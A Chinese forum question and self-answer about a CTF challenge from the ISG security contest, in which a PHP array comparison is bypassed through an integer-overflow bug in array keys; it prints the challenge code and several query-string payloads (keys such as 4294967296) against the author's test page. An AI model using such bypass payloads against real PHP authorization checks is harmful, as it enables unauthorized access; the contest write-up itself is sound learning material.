PHP的信息安全(入侵获取$flag)的题目【Q2】


地址: http://202.120.7.134 :8888/html/array.php

clipboard.png

参加ISG(信息安全大赛)发现的一道题目。
作为一名PHPer,喵的我真心感觉这代码无解啊。。。
求大神解惑,如何给一个user参数,获取到$flag。。。

Update at 2015/20/22
总算通过"邀请回答"找到大神了~
漏洞在于PHP的数组下标的一个BUG,可以利用【整型溢出】……
可以参照这里:
https://bugs.php.net/bug.php?id=69892

clipboard.png

我觉得这种利用BUG出题的,简直是……

比赛时间已过,果断自己写了下代码:


 <?php

//这里简化一下题目,直接把time定死
$flag = 'ISG{'.time().'}';
$time = '1445502008';//2015/10/22 16:20:8

if(empty($_GET['user']))die(show_source(__FILE__));
$user = array('admin', $time );
if($_GET['user'] === $user && $_GET['user'][0] != 'admin'){echo $flag;}

clipboard.png

测试效果:

clipboard.png

clipboard.png

测试地址:
http://moonlordapi.sinaapp.com/1.php

补充,参数可以有好几种方式:
http://moonlordapi.sinaapp.com/1.php?user [4294967296]=admin&user[4294967297]=1445502008
http://moonlordapi.sinaapp.com/1.php?user [4294967296]=admin&user[]=1445502008
http://moonlordapi.sinaapp.com/1.php?user [4294967296]=admin&user[1]=1445502008

就此愉快地结题了。

hack 信息安全 注入 php 入侵

ninme 9 years, 5 months ago

楼上正解。。。。

hugeark answered 9 years, 5 months ago

请教了我安全的大神同学 他说0可以通过整型溢出得到 绕过if判断

矿工郑大世 answered 9 years, 5 months ago

Your Answer